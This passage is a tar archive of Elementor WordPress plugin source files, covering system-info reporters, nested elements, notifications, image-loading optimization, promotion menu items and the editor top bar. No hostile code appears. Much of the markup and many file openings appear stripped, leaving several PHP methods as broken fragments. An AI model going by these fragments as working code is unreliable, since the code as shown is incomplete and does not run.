=> 'WP Multisite', 'max_upload_size' => 'Max Upload Size', 'memory_limit' => 'Memory limit', 'max_memory_limit' => 'Max Memory limit', 'permalink_structure' => 'Permalink Structure', 'language' => 'Language', 'timezone' => 'Timezone', 'admin_email' => 'Admin Email', 'debug_mode' => 'Debug Mode', ]; } /** * Get WordPress memory limit. * * Retrieve the WordPress memory limit. * * @since 1.0.0 * @access public * * @return array { * Report data. * * @type string $value WordPress memory limit. * } */ public function get_memory_limit() { return [ 'value' => (string) WP_MEMORY_LIMIT, ]; } /** * Get WordPress max memory limit. * * Retrieve the WordPress max memory limit. * * @return array { * Report data. * * @type string $value WordPress max memory limit. * } */ public function get_max_memory_limit() { return [ 'value' => (string) WP_MAX_MEMORY_LIMIT, ]; } /** * Get WordPress version. * * Retrieve the WordPress version. * * @since 1.0.0 * @access public * * @return array { * Report data. * * @type string $value WordPress version. * } */ public function get_version() { return [ 'value' => get_bloginfo( 'version' ), ]; } /** * Is multisite. * * Whether multisite is enabled or not. * * @since 1.0.0 * @access public * * @return array { * Report data. * * @type string $value Yes if multisite is enabled, No otherwise. * } */ public function get_is_multisite() { return [ 'value' => is_multisite() ? 'Yes' : 'No', ]; } /** * Get site URL. * * Retrieve WordPress site URL. * * @since 1.0.0 * @access public * * @return array { * Report data. * * @type string $value WordPress site URL. * } */ public function get_site_url() { return [ 'value' => get_site_url(), ]; } /** * Get home URL. * * Retrieve WordPress home URL. * * @since 1.0.0 * @access public * * @return array { * Report data. * * @type string $value WordPress home URL. * } */ public function get_home_url() { return [ 'value' => get_home_url(), ]; } /** * Get permalink structure. * * Retrieve the permalink structure * * @since 1.0.0 * @access public * * @return array { * Report data. * * @type string $value WordPress permalink structure. * } */ public function get_permalink_structure() { global $wp_rewrite; $structure = $wp_rewrite->permalink_structure; if ( ! $structure ) { $structure = 'Plain'; } return [ 'value' => $structure, ]; } /** * Get site language. * * Retrieve the site language. * * @since 1.0.0 * @access public * * @return array { * Report data. * * @type string $value WordPress site language. * } */ public function get_language() { return [ 'value' => get_locale(), ]; } /** * Get PHP `max_upload_size`. * * Retrieve the value of maximum upload file size defined in `php.ini` configuration file. * * @since 1.0.0 * @access public * * @return array { * Report data. * * @type string $value Maximum upload file size allowed. * } */ public function get_max_upload_size() { return [ 'value' => size_format( wp_max_upload_size() ), ]; } /** * Get WordPress timezone. * * Retrieve WordPress timezone. * * @since 1.0.0 * @access public * * @return array { * Report data. * * @type string $value WordPress timezone. * } */ public function get_timezone() { $timezone = get_option( 'timezone_string' ); if ( ! $timezone ) { $timezone = get_option( 'gmt_offset' ); } return [ 'value' => $timezone, ]; } /** * Get WordPress administrator email. * * Retrieve WordPress administrator email. * * @since 1.0.0 * @access public * * @return array { * Report data. * * @type string $value WordPress administrator email. * } */ public function get_admin_email() { return [ 'value' => get_option( 'admin_email' ), ]; } /** * Get debug mode. * * Whether WordPress debug mode is enabled or not. * * @since 1.0.0 * @access public * * @return array { * Report data. * * @type string $value Active if debug mode is enabled, Inactive otherwise. * } */ public function get_debug_mode() { return [ 'value' => WP_DEBUG ? 'Active' : 'Inactive', ]; } } modules/system-info/reporters/base-plugin.php000064400000004201147206604650015444 0ustar00get_report( 'html' ) as $field ) { foreach ( $field['value'] as $plugin_info ) : ?> %s', $plugin_info['PluginURI'], $plugin_info['Name'] ); else : $plugin_name = $plugin_info['Name']; endif; if ( $plugin_info['Version'] ) : $plugin_name .= ' - ' . $plugin_info['Version']; endif; Utils::print_unescaped_internal_string( $plugin_name ); ?> %s', $plugin_info['AuthorURI'], $plugin_info['Author'] ); else : $author = $plugin_info['Author']; endif; Utils::print_unescaped_internal_string( "By $author" ); endif; ?> get_report( 'raw' ) as $field_name => $field ) : $sub_indent = str_repeat( "\t", $tabs_count ); echo "== {$field['label']} ==" . PHP_EOL; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped foreach ( $field['value'] as $plugin_info ) : $plugin_properties = array_intersect_key( $plugin_info, $required_plugins_properties ); echo esc_html( $sub_indent . $plugin_info['Name'] ); foreach ( $plugin_properties as $property_name => $property ) : echo PHP_EOL . "{$sub_indent}\t{$property_name}: {$property}"; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped endforeach; echo PHP_EOL . PHP_EOL; endforeach; endforeach; } } modules/system-info/reporters/mu-plugins.php000064400000003660147206604650015346 0ustar00plugins ) { $this->plugins = get_mu_plugins(); } return $this->plugins; } /** * Is enabled. * * Whether there are must-use plugins or not. * * @since 1.0.0 * @access public * * @return bool True if the site has must-use plugins, False otherwise. */ public function is_enabled() { return ! ! $this->get_mu_plugins(); } /** * Get must-use plugins reporter title. * * Retrieve must-use plugins reporter title. * * @since 1.0.0 * @access public * * @return string Reporter title. */ public function get_title() { return 'Must-Use Plugins'; } /** * Get must-use plugins report fields. * * Retrieve the required fields for the must-use plugins report. * * @since 1.0.0 * @access public * * @return array Required report fields with field ID and field label. */ public function get_fields() { return [ 'must_use_plugins' => 'Must-Use Plugins', ]; } /** * Get must-use plugins. * * Retrieve the sites must-use plugins. * * @since 1.0.0 * @access public * * @return array { * Report data. * * @type string $value The must-use plugins list. * } */ public function get_must_use_plugins() { return [ 'value' => $this->get_mu_plugins(), ]; } } modules/system-info/reporters/network-plugins.php000064400000004273147206604650016417 0ustar00plugins ) { $active_plugins = get_site_option( 'active_sitewide_plugins' ); $this->plugins = array_intersect_key( get_plugins(), $active_plugins ); } return $this->plugins; } /** * Is enabled. * * Whether there are active network plugins or not. * * @since 1.0.0 * @access public * * @return bool True if the site has active network plugins, False otherwise. */ public function is_enabled() { if ( ! is_multisite() ) { return false; }; return ! ! $this->get_network_plugins(); } /** * Get network plugins report fields. * * Retrieve the required fields for the network plugins report. * * @since 1.0.0 * @access public * * @return array Required report fields with field ID and field label. */ public function get_fields() { return [ 'network_active_plugins' => 'Network Plugins', ]; } /** * Get active network plugins. * * Retrieve the sites active network plugins. * * @since 1.0.0 * @access public * * @return array { * Report data. * * @type string $value The active network plugins list. * } */ public function get_network_active_plugins() { return [ 'value' => $this->get_network_plugins(), ]; } } modules/nested-elements/module.php000064400000003133147206604650013320 0ustar00 self::EXPERIMENT_NAME, 'title' => esc_html__( 'Nested Elements', 'elementor' ), 'description' => sprintf( '%1$s %2$s', esc_html__( 'Create a rich user experience by layering widgets together inside "Nested" Tabs, etc. When turned on, we’ll automatically enable new nested features. Your old widgets won’t be affected.', 'elementor' ), esc_html__( 'Learn more', 'elementor' ) ), 'release_status' => Experiments_Manager::RELEASE_STATUS_BETA, 'default' => Experiments_Manager::STATE_INACTIVE, 'dependencies' => [ 'container', ], 'new_site' => [ 'default_active' => true, 'minimum_installation_version' => '3.24.0', ], ]; } public function get_name() { return 'nested-elements'; } public function __construct() { parent::__construct(); add_action( 'elementor/controls/register', function ( $controls_manager ) { $controls_manager->register( new Controls\Control_Nested_Repeater() ); } ); add_action( 'elementor/editor/before_enqueue_scripts', function () { wp_enqueue_script( $this->get_name(), $this->get_js_assets_url( $this->get_name() ), [ 'elementor-common', ], ELEMENTOR_VERSION, true ); } ); } } modules/nested-elements/base/widget-nested-base.php000064400000007126147206604650016426 0ustar00 'container', * 'settings' => [ * '_title' => __( 'Tab #1', 'elementor' ), * ], * ], * @return string */ protected function get_default_children_title() { return esc_html__( 'Item #%d', 'elementor' ); } /** * Get default children placeholder selector, Empty string, means will be added at the end view. * * @return string */ protected function get_default_children_placeholder_selector() { return ''; } protected function get_default_children_container_placeholder_selector() { return ''; } protected function is_dynamic_content(): bool { return false; } /** * @inheritDoc * * To support nesting. */ protected function _get_default_child_type( array $element_data ) { return Plugin::$instance->elements_manager->get_element_types( $element_data['elType'] ); } /** * @inheritDoc * * Adding new 'defaults' config for handling children elements. */ protected function get_initial_config() { return array_merge( parent::get_initial_config(), [ 'defaults' => [ 'elements' => $this->get_default_children_elements(), 'elements_title' => $this->get_default_children_title(), 'elements_placeholder_selector' => $this->get_default_children_placeholder_selector(), 'child_container_placeholder_selector' => $this->get_default_children_container_placeholder_selector(), 'repeater_title_setting' => $this->get_default_repeater_title_setting_key(), ], 'support_nesting' => true, ] ); } /** * @inheritDoc * * Each element including its children elements. */ public function get_raw_data( $with_html_content = false ) { $elements = []; $data = $this->get_data(); $children = $this->get_children(); foreach ( $children as $child ) { $child_raw_data = $child->get_raw_data( $with_html_content ); $elements[] = $child_raw_data; } return [ 'id' => $this->get_id(), 'elType' => $data['elType'], 'widgetType' => $data['widgetType'], 'settings' => $data['settings'], 'elements' => $elements, ]; } /** * Print child, helper method to print the child element. * * @param int $index */ public function print_child( $index ) { $children = $this->get_children(); if ( ! empty( $children[ $index ] ) ) { $children[ $index ]->print_element(); } } protected function content_template_single_repeater_item() {} public function print_template() { parent::print_template(); if ( $this->get_initial_config()['support_improved_repeaters'] ?? false ) { ?> is_widget_present( $data ) ) { return $data; } return Plugin::$instance->db->iterate_data( $data, function ( $element ) { if ( $this->is_target_widget( $element ) ) { $element['settings']['title'] = Plugin::$instance->widgets_manager->get_widget_types( self::WIDGET_TO_SANITIZE )->sanitize( $element['settings']['title'] ); } return $element; }); } private function is_target_widget( $element ) { return self::WIDGET_TO_SANITIZE === $element['widgetType']; } private function is_widget_present( array $elements ): bool { $json = wp_json_encode( $elements ); return false !== strpos( $json, '"widgetType":"' . self::WIDGET_TO_SANITIZE . '"' ); } } modules/content-sanitizer/interfaces/sanitizable.php000064400000000310147206604650017041 0ustar00get_js_assets_url( 'admin-notifications' ), [ 'elementor-v2-ui', 'elementor-v2-icons', 'elementor-v2-query', 'wp-i18n', ], ELEMENTOR_VERSION, true ); wp_localize_script( 'e-admin-notifications', 'elementorNotifications', $this->get_app_js_config() ); wp_set_script_translations( 'e-editor-notifications', 'elementor' ); }, 5 /* Before Elementor's admin enqueue scripts */ ); add_action( 'elementor/editor/v2/scripts/enqueue', [ $this, 'enqueue_editor_scripts' ] ); add_action( 'elementor/editor/after_enqueue_scripts', [ $this, 'enqueue_editor_scripts' ] ); add_action( 'elementor/ajax/register_actions', [ $this, 'register_ajax_actions' ] ); } public function enqueue_editor_scripts() { $deps = [ 'elementor-editor', 'elementor-v2-ui', 'elementor-v2-icons', 'elementor-v2-query', 'wp-i18n', ]; $is_editor_v2 = current_action() === 'elementor/editor/v2/scripts/enqueue'; if ( $is_editor_v2 ) { $deps[] = 'elementor-v2-editor-app-bar'; } wp_enqueue_script( 'e-editor-notifications', $this->get_js_assets_url( 'editor-notifications' ), $deps, ELEMENTOR_VERSION, true ); wp_localize_script( 'e-editor-notifications', 'elementorNotifications', $this->get_app_js_config() ); wp_set_script_translations( 'e-editor-notifications', 'elementor' ); } private function get_app_js_config() : array { return [ 'is_unread' => Options::has_unread_notifications(), ]; } public function register_ajax_actions( $ajax ) { $ajax->register_ajax_action( 'notifications_get', [ $this, 'ajax_get_notifications' ] ); } public function ajax_get_notifications() { $notifications = API::get_notifications_by_conditions( true ); Options::mark_notification_read( $notifications ); return $notifications; } } modules/notifications/api.php000064400000011606147206604650012365 0ustar00parent() ) { $theme = wp_get_theme()->parent(); } if ( $theme->get_template() === $condition['theme'] ) { $version = $theme->version; } else { $version = ''; } $result = version_compare( $version, $condition['version'], $condition['operator'] ); break; case 'introduction_meta': $result = User::get_introduction_meta( $condition['meta'] ); break; default: /** * Filters the notification condition, whether to check the group or not. * * The dynamic portion of the hook name, `$condition['type']`, refers to the condition type. * * @since 3.19.0 * * @param bool $result Whether to check the group. * @param array $condition Notification condition. */ $result = apply_filters( "elementor/notifications/condition/{$condition['type']}", $result, $condition ); break; } if ( ( $is_or_relation && $result ) || ( ! $is_or_relation && ! $result ) ) { return $result; } } return $result; } private static function get_transient( $cache_key ) { $cache = get_option( $cache_key ); if ( empty( $cache['timeout'] ) ) { return false; } if ( current_time( 'timestamp' ) > $cache['timeout'] ) { return false; } return json_decode( $cache['value'], true ); } private static function set_transient( $cache_key, $value, $expiration = '+12 hours' ) { $data = [ 'timeout' => strtotime( $expiration, current_time( 'timestamp' ) ), 'value' => json_encode( $value ), ]; return update_option( $cache_key, $data, false ); } } modules/notifications/options.php000064400000003427147206604650013311 0ustar00ID}" ); if ( false === $unread_notifications ) { $notifications = API::get_notifications_by_conditions(); $notifications_ids = wp_list_pluck( $notifications, 'id' ); $unread_notifications = array_diff( $notifications_ids, static::get_notifications_dismissed() ); set_transient( "elementor_unread_notifications_{$current_user->ID}", $unread_notifications, HOUR_IN_SECONDS ); } return ! empty( $unread_notifications ); } public static function get_notifications_dismissed() { $current_user = wp_get_current_user(); if ( ! $current_user ) { return []; } $notifications_dismissed = get_user_meta( $current_user->ID, '_e_notifications_dismissed', true ); if ( ! is_array( $notifications_dismissed ) ) { $notifications_dismissed = []; } return $notifications_dismissed; } public static function mark_notification_read( $notifications ) : bool { $current_user = wp_get_current_user(); if ( ! $current_user ) { return false; } $notifications_dismissed = static::get_notifications_dismissed(); foreach ( $notifications as $notification ) { if ( ! in_array( $notification['id'], $notifications_dismissed, true ) ) { $notifications_dismissed[] = $notification['id']; } } $notifications_dismissed = array_unique( $notifications_dismissed ); update_user_meta( $current_user->ID, '_e_notifications_dismissed', $notifications_dismissed ); delete_transient( "elementor_unread_notifications_{$current_user->ID}" ); return true; } } modules/image-loading-optimization/module.php000064400000025707147206604650015460 0ustar00filter_images( $buffer ); } /** * Check for image in the content provided and apply optimization logic on them. * * @param string $content Content to be analyzed. * @return string Content with optimized images. */ private function filter_images( $content ) { return preg_replace_callback( '/]+>/', function ( $matches ) { return $this->loading_optimization_image( $matches[0] ); }, $content ); } /** * Apply loading optimization logic on the image. * * @param mixed $image Original image tag. * @return string Optimized image. */ public function loading_optimization_image( $image ) { if ( isset( self::$image_visited[ $image ] ) ) { return self::$image_visited[ $image ]; } $optimized_image = $this->add_loading_optimization_attrs( $image ); self::$image_visited[ $image ] = $optimized_image; return $optimized_image; } /** * Adds optimization attributes to an `img` HTML tag. * * @param string $image The HTML `img` tag where the attribute should be added. * @return string Converted `img` tag with optimization attributes added. */ private function add_loading_optimization_attrs( $image ) { $width = preg_match( '/ width=["\']([0-9]+)["\']/', $image, $match_width ) ? (int) $match_width[1] : null; $height = preg_match( '/ height=["\']([0-9]+)["\']/', $image, $match_height ) ? (int) $match_height[1] : null; $loading_val = preg_match( '/ loading=["\']([A-Za-z]+)["\']/', $image, $match_loading ) ? $match_loading[1] : null; $fetchpriority_val = preg_match( '/ fetchpriority=["\']([A-Za-z]+)["\']/', $image, $match_fetchpriority ) ? $match_fetchpriority[1] : null; // Images should have height and dimension width for the loading optimization attributes to be added. if ( ! str_contains( $image, ' width="' ) || ! str_contains( $image, ' height="' ) ) { return $image; } $optimization_attrs = $this->get_loading_optimization_attributes( [ 'width' => $width, 'height' => $height, 'loading' => $loading_val, 'fetchpriority' => $fetchpriority_val, ] ); if ( ! empty( $optimization_attrs['fetchpriority'] ) ) { $image = str_replace( 'increase_content_media_count( 0 ); $increase_count = true; if ( $content_media_count < $this->omit_threshold ) { $maybe_in_viewport = true; } else { $maybe_in_viewport = false; } } if ( $maybe_in_viewport ) { $loading_attrs = $this->maybe_add_fetchpriority_high_attr( $loading_attrs, $attr ); } else { $loading_attrs['loading'] = 'lazy'; } if ( $increase_count ) { $this->increase_content_media_count(); } elseif ( $maybe_increase_count ) { if ( $this->get_min_priority_img_pixels() <= $attr['width'] * $attr['height'] ) { $this->increase_content_media_count(); } } return $loading_attrs; } /** * Helper to get the minimum threshold for number of pixels an image needs to have to be considered "priority". * * @return int The minimum number of pixels (width * height). Default is 50000. */ private function get_min_priority_img_pixels() { /** * Filter the minimum pixel threshold used to determine if an image should have fetchpriority="high" applied. * * @see https://developer.wordpress.org/reference/hooks/wp_min_priority_img_pixels/ * * @param int $pixels The minimum number of pixels (with * height). * @return int The filtered value. */ return apply_filters( 'elementor/image-loading-optimization/min_priority_img_pixels', $this->min_priority_img_pixels ); } /** * Keeps a count of media image. * * @param int $amount Amount by which count must be increased. * @return int current image count. */ private function increase_content_media_count( $amount = 1 ) { static $content_media_count = 0; $content_media_count += $amount; return $content_media_count; } /** * Determines whether to add `fetchpriority='high'` to loading attributes. * * @param array $loading_attrs Array of the loading optimization attributes for the element. * @param array $attr Array of the attributes for the element. * @return array Updated loading optimization attributes for the element. */ private function maybe_add_fetchpriority_high_attr( $loading_attrs, $attr ) { if ( isset( $attr['fetchpriority'] ) ) { if ( 'high' === $attr['fetchpriority'] ) { $loading_attrs['fetchpriority'] = 'high'; $this->high_priority_element_flag( false ); } return $loading_attrs; } // Lazy-loading and `fetchpriority="high"` are mutually exclusive. if ( isset( $loading_attrs['loading'] ) && 'lazy' === $loading_attrs['loading'] ) { return $loading_attrs; } if ( ! $this->high_priority_element_flag() ) { return $loading_attrs; } if ( $this->get_min_priority_img_pixels() <= $attr['width'] * $attr['height'] ) { $loading_attrs['fetchpriority'] = 'high'; $this->high_priority_element_flag( false ); } return $loading_attrs; } /** * Accesses a flag that indicates if an element is a possible candidate for `fetchpriority='high'`. * * @param bool $value Optional. Used to change the static variable. Default null. * @return bool Returns true if high-priority element was marked already, otherwise false. */ private function high_priority_element_flag( $value = null ) { static $high_priority_element = true; if ( is_bool( $value ) ) { $high_priority_element = $value; } return $high_priority_element; } } modules/dynamic-tags/module.php000064400000005725147206604650012615 0ustar00register_groups(); add_action( 'elementor/dynamic_tags/register', [ $this, 'register_tags' ] ); } /** * Get module name. * * Retrieve the dynamic tags module name. * * @since 2.0.0 * @access public * * @return string Module name. */ public function get_name() { return 'dynamic_tags'; } /** * Get classes names. * * Retrieve the dynamic tag classes names. * * @since 2.0.0 * @access public * * @return array Tag dynamic tag classes names. */ public function get_tag_classes_names() { return []; } /** * Get groups. * * Retrieve the dynamic tag groups. * * @since 2.0.0 * @access public * * @return array Tag dynamic tag groups. */ public function get_groups() { return [ self::BASE_GROUP => [ 'title' => 'Base Tags', ], ]; } /** * Register groups. * * Add all the available tag groups. * * @since 2.0.0 * @access private */ private function register_groups() { foreach ( $this->get_groups() as $group_name => $group_settings ) { Plugin::$instance->dynamic_tags->register_group( $group_name, $group_settings ); } } /** * Register tags. * * Add all the available dynamic tags. * * @since 2.0.0 * @access public * * @param Manager $dynamic_tags */ public function register_tags( $dynamic_tags ) { foreach ( $this->get_tag_classes_names() as $tag_class ) { /** @var Base_Tag $class_name */ $class_name = $this->get_reflection()->getNamespaceName() . '\Tags\\' . $tag_class; $dynamic_tags->register( new $class_name() ); } } } modules/container-converter/module.php000064400000010123147206604650014210 0ustar00experiments->is_feature_active( 'container' ); } /** * Enqueue the module scripts. * * @return void */ public function enqueue_scripts() { wp_enqueue_script( 'container-converter', $this->get_js_assets_url( 'container-converter' ), [ 'elementor-editor' ], ELEMENTOR_VERSION, true ); } /** * Enqueue the module styles. * * @return void */ public function enqueue_styles() { wp_enqueue_style( 'container-converter', $this->get_css_assets_url( 'modules/container-converter/editor' ), [], ELEMENTOR_VERSION ); } /** * Add a convert button to sections. * * @param \Elementor\Controls_Stack $controls_stack * * @return void */ protected function add_section_convert_button( Controls_Stack $controls_stack ) { if ( ! Plugin::$instance->editor->is_edit_mode() ) { return; } $controls_stack->start_injection( [ 'of' => '_title', ] ); $controls_stack->add_control( 'convert_to_container', [ 'type' => Controls_Manager::BUTTON, 'label' => esc_html__( 'Convert to container', 'elementor' ), 'text' => esc_html__( 'Convert', 'elementor' ), 'button_type' => 'default', 'description' => esc_html__( 'Copies all of the selected sections and columns and pastes them in a container beneath the original.', 'elementor' ), 'separator' => 'after', 'event' => static::EVENT_NAME, ] ); $controls_stack->end_injection(); } /** * Add a convert button to page settings. * * @param \Elementor\Controls_Stack $controls_stack * * @return void */ protected function add_page_convert_button( Controls_Stack $controls_stack ) { if ( ! Plugin::$instance->editor->is_edit_mode() || ! $this->page_contains_sections( $controls_stack ) || ! Plugin::$instance->role_manager->user_can( 'design' ) ) { return; } $controls_stack->start_injection( [ 'of' => 'post_title', 'at' => 'before', ] ); $controls_stack->add_control( 'convert_to_container', [ 'type' => Controls_Manager::BUTTON, 'label' => esc_html__( 'Convert to container', 'elementor' ), 'text' => esc_html__( 'Convert', 'elementor' ), 'button_type' => 'default', 'description' => esc_html__( 'Copies all of the selected sections and columns and pastes them in a container beneath the original.', 'elementor' ), 'separator' => 'after', 'event' => static::EVENT_NAME, ] ); $controls_stack->end_injection(); } /** * Checks if document has any Section elements. * * @param \Elementor\Controls_Stack $controls_stack * * @return bool */ protected function page_contains_sections( $controls_stack ) { $data = $controls_stack->get_elements_data(); if ( ! is_array( $data ) ) { return false; } foreach ( $data as $element ) { if ( isset( $element['elType'] ) && 'section' === $element['elType'] ) { return true; } } return false; } /** * Initialize the Container-Converter module. * * @return void */ public function __construct() { add_action( 'elementor/editor/after_enqueue_scripts', [ $this, 'enqueue_scripts' ] ); add_action( 'elementor/editor/after_enqueue_styles', [ $this, 'enqueue_styles' ] ); add_action( 'elementor/element/section/section_layout/after_section_end', function ( Controls_Stack $controls_stack ) { $this->add_section_convert_button( $controls_stack ); } ); add_action( 'elementor/documents/register_controls', function ( Controls_Stack $controls_stack ) { $this->add_page_convert_button( $controls_stack ); } ); } } modules/promotions/module.php000064400000005231147206604650012436 0ustar00handle_external_redirects(); } ); add_action( 'elementor/admin/menu/register', function ( Admin_Menu_Manager $admin_menu ) { $this->register_menu_items( $admin_menu ); }, static::ADMIN_MENU_PRIORITY ); add_action( 'elementor/admin/menu/register', function ( Admin_Menu_Manager $admin_menu ) { $this->register_promotion_menu_item( $admin_menu ); }, static::ADMIN_MENU_PROMOTIONS_PRIORITY ); add_action( 'elementor/widgets/register', function( Widgets_Manager $manager ) { foreach ( Api::get_promotion_widgets() as $widget_data ) { $manager->register( new Widgets\Pro_Widget_Promotion( [], [ 'widget_name' => $widget_data['name'], 'widget_title' => $widget_data['title'], ] ) ); } } ); } private function handle_external_redirects() { if ( empty( $_GET['page'] ) ) { return; } if ( 'go_elementor_pro' === $_GET['page'] ) { wp_redirect( Go_Pro_Promotion_Item::get_url() ); die; } } private function register_menu_items( Admin_Menu_Manager $admin_menu ) { $admin_menu->register( 'e-form-submissions', new Form_Submissions_Promotion_Item() ); $admin_menu->register( 'elementor_custom_fonts', new Custom_Fonts_Promotion_Item() ); $admin_menu->register( 'elementor_custom_icons', new Custom_Icons_Promotion_Item() ); $admin_menu->register( 'elementor_custom_code', new Custom_Code_Promotion_Item() ); $admin_menu->register( 'popup_templates', new Popups_Promotion_Item() ); } private function register_promotion_menu_item( Admin_Menu_Manager $admin_menu ) { $admin_menu->register( 'go_elementor_pro', new Go_Pro_Promotion_Item() ); } } modules/promotions/widgets/pro-widget-promotion.php000064400000005270147206604650016727 0ustar00widget_data['widget_name']; } public function get_title() { return $this->widget_data['widget_title']; } public function on_import( $element ) { $element['settings']['__should_import'] = true; return $element; } protected function register_controls() {} protected function render() { if ( $this->is_editor_render() ) { $this->render_promotion(); } else { $this->render_empty_content(); } } private function is_editor_render(): bool { return \Elementor\Plugin::$instance->editor->is_edit_mode(); } private function render_promotion() { $promotion = Filtered_Promotions_Manager::get_filtered_promotion_data( [ 'image_url' => esc_url( $this->get_promotion_image_url() ), 'text' => sprintf( esc_html__( 'This result includes the Elementor Pro %s widget. Upgrade now to unlock it and grow your web creation toolkit.', 'elementor' ), esc_html( $this->widget_data['widget_title'] ) ), 'upgrade_url' => esc_url( 'https://go.elementor.com/go-pro-element-pro/' ), ], 'elementor/pro-widget/promotion', 'upgrade_url' ); ?>

Go Pro

widget_data = [ 'widget_name' => $args['widget_name'], 'widget_title' => $args['widget_title'], ]; parent::__construct( $data, $args ); } public function render_plain_content( $instance = [] ) {} } modules/promotions/admin-menu-items/interfaces/promotion-menu-item.php000064400000000732147206604650022372 0ustar00promotion_data = [ 'title' => esc_html__( 'Get Popup Builder', 'elementor' ), 'content' => esc_html__( 'The Popup Builder lets you take advantage of all the amazing features in Elementor, so you can build beautiful & highly converting popups. Get Elementor Pro and start designing your popups today.', 'elementor' ), 'action_button' => [ 'text' => esc_html__( 'Upgrade Now', 'elementor' ), 'url' => 'https://go.elementor.com/go-pro-popup-builder/', ], ]; $this->promotion_data = Filtered_Promotions_Manager::get_filtered_promotion_data( $this->promotion_data, 'elementor/templates/popup', 'action_button', 'url' ); } public function get_parent_slug() { return Source_Local::ADMIN_MENU_SLUG; } public function get_name() { return 'popups'; } public function get_label() { return esc_html__( 'Popups', 'elementor' ); } public function get_page_title() { return esc_html__( 'Popups', 'elementor' ); } public function get_promotion_title() { return $this->promotion_data['title']; } public function get_promotion_description() { return $this->promotion_data['content']; } /** * @deprecated use get_promotion_description instead * @return void */ public function render_promotion_description() { echo $this->get_promotion_description(); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } public function get_cta_url() { return $this->promotion_data['action_button']['url']; } public function get_cta_text() { return $this->promotion_data['action_button']['text']; } } modules/promotions/admin-menu-items/custom-icons-promotion-item.php000064400000002220147206604650021720 0ustar00' ); } protected function get_content_lines(): array { return [ sprintf( esc_html__( 'Expand your icon library beyond FontAwesome and add icon %s libraries of your choice', 'elementor' ), '
' ), esc_html__( 'Add any icon, anywhere on your website', 'elementor' ), ]; } protected function get_cta_url(): string { return 'https://go.elementor.com/go-pro-custom-icons/'; } protected function get_video_url(): string { return 'https://www.youtube-nocookie.com/embed/PsowinxDWfM?si=SV9Z3TLz3_XEy5C6'; } } modules/promotions/admin-menu-items/custom-fonts-promotion-item.php000064400000002205147206604650021741 0ustar00' ), ]; } protected function get_cta_url(): string { return 'https://go.elementor.com/go-pro-custom-fonts/'; } protected function get_video_url(): string { return 'https://www.youtube-nocookie.com/embed/j_guJkm28eY?si=cdd2TInwuGDTtCGD'; } } modules/promotions/admin-menu-items/base-promotion-item.php000064400000003713147206604650020217 0ustar00 $this->get_promotion_title(), 'description' => $this->get_promotion_description(), 'image' => $this->get_image_url(), 'upgrade_text' => $this->get_cta_text(), 'upgrade_url' => $this->get_cta_url(), ]; $config = Filtered_Promotions_Manager::get_filtered_promotion_data( $config, 'elementor/' . $this->get_name() . '/custom_promotion', 'upgrade_url' ); $description = $config['description'] ?? $this->get_promotion_description() ?? ''; ?>

get_promotion_title() ); ?>

get_cta_text() ); ?>
' ); } protected function get_content_lines(): array { return [ esc_html__( 'Create single or multi-step forms to engage and convert visitors', 'elementor' ), esc_html__( 'Use any field to collect the information you need', 'elementor' ), esc_html__( 'Integrate your favorite marketing software*', 'elementor' ), esc_html__( 'Collect lead submissions directly within your WordPress Admin to manage, analyze and perform bulk actions on the submitted lead*', 'elementor' ), ]; } protected function get_cta_url():string { return 'https://go.elementor.com/go-pro-submissions/'; } protected function get_video_url():string { return 'https://www.youtube-nocookie.com/embed/LNfnwba9C-8?si=JLHk3UAexnvTfU1a'; } protected function get_side_note():string { return esc_html__( '* Requires an Advanced subscription or higher', 'elementor' ); } } modules/promotions/admin-menu-items/go-pro-promotion-item.php000064400000003030147206604650020500 0ustar00 $upgrade_text ] )['upgrade_text'] ?? $upgrade_text; } public function get_page_title() { return ''; } public function get_capability() { return 'manage_options'; } public static function get_url() { $url = self::URL; $filtered_url = apply_filters( 'elementor/admin_menu/custom_promotion', [ 'upgrade_url' => $url ] )['upgrade_url'] ?? ''; $promotion_data = Filtered_Promotions_Manager::get_filtered_promotion_data( [ 'upgrade_url' => $filtered_url ], 'elementor/admin_menu/custom_promotion', 'upgrade_url' ); return $promotion_data ['upgrade_url']; } public function render() { // Redirects from the module on `admin_init`. die; } } modules/promotions/admin-menu-items/base-promotion-template.php000064400000006002147206604650021066 0ustar00get_content_lines() ) ) { ?>
    get_content_lines() as $item ) { ?>
get_promotion_data(); ?> build_promotion_data_array(), 'elementor/' . $this->get_name() . '/custom_promotion', 'cta_url' ); } /** * @return array */ private function build_promotion_data_array(): array { return [ 'promotion_title' => $this->get_promotion_title(), 'cta_url' => $this->get_cta_url(), 'cta_text' => $this->get_cta_text(), 'video_url' => $this->get_video_url(), 'lines' => $this->get_lines(), 'side_note' => $this->get_side_note(), ]; } } modules/promotions/admin-menu-items/custom-code-promotion-item.php000064400000002542147206604650021526 0ustar00get_js_assets_url( 'color-thief', 'assets/lib/color-thief/', true ), [ 'elementor-editor' ], ELEMENTOR_VERSION, true ); } /** * Module constructor - Initialize the Eye-Dropper module. * * @return void */ public function __construct() { add_action( 'elementor/editor/after_enqueue_scripts', [ $this, 'enqueue_scripts' ] ); } } modules/performance-lab/module.php000064400000003441147206604650013263 0ustar00performance_lab_get_webp_src( $value['id'], 'full', $value['url'] ); } return $value; } public function __construct() { parent::__construct(); if ( $this->is_performance_lab_is_active() ) { add_filter( 'elementor/files/css/property', function( $value, $css_property, $matches ) { return $this->replace_css_with_webp( $value, $css_property, $matches ); }, 10, 3 ); } } } modules/editor-app-bar/module.php000064400000005001147206604650013026 0ustar00register_experiment(); if ( Plugin::$instance->experiments->is_feature_active( self::EXPERIMENT_NAME ) ) { add_filter( 'elementor/editor/v2/packages', fn( $packages ) => $this->add_packages( $packages ) ); add_filter( 'elementor/editor/v2/styles', fn( $styles ) => $this->add_styles( $styles ) ); add_filter( 'elementor/editor/templates', fn( $templates ) => $this->remove_templates( $templates ) ); add_action( 'elementor/editor/v2/scripts/enqueue', fn() => $this->dequeue_scripts() ); add_action( 'elementor/editor/v2/styles/enqueue', fn() => $this->dequeue_styles() ); } } private function register_experiment() { Plugin::$instance->experiments->add_feature( [ 'name' => self::EXPERIMENT_NAME, 'title' => esc_html__( 'Editor Top Bar', 'elementor' ), 'description' => sprintf( '%1$s %2$s', esc_html__( 'Get a sneak peek of the new Editor powered by React. The beautiful design and experimental layout of the Top bar are just some of the exciting tools on their way.', 'elementor' ), esc_html__( 'Learn more', 'elementor' ) ), 'default' => Experiments_Manager::STATE_INACTIVE, 'release_status' => 